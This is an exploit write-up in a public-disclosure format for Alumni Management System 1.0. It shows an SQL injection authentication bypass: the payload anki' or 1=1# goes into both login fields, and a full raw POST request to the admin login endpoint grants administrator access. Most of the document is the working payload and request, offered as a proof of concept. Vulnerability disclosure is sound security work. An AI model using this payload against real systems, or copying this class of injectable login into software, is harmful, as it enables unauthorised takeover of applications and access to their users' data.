#Exploit Title: Alumni Management System 1.0 - Authentication Bypass #Date: 2020-10-16 #Exploit Author: Ankita Pal #Vendor Homepage: https://www.sourcecodester.com/php/14524/alumni-management-system-using-phpmysql-source-code.html #Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/alumni-management-system.zip #Version: V1.0 #Tested on: Windows 10 + xampp v3.2.4 Proof of Concept::: Step 1: Open the URL http://localhost:8081/alumni-management-system/alumni/admin/login.php Step 2: use payload anki' or 1=1# for both username and password. Malicious Request::: POST /alumni-management-system/alumni/admin/ajax.php?action=login HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 53 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/alumni-management-system/alumni/admin/login.php Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv username=anki'+or+1%3D1%23&password=anki'+or+1%3D1%23 You will be login as admin of the application.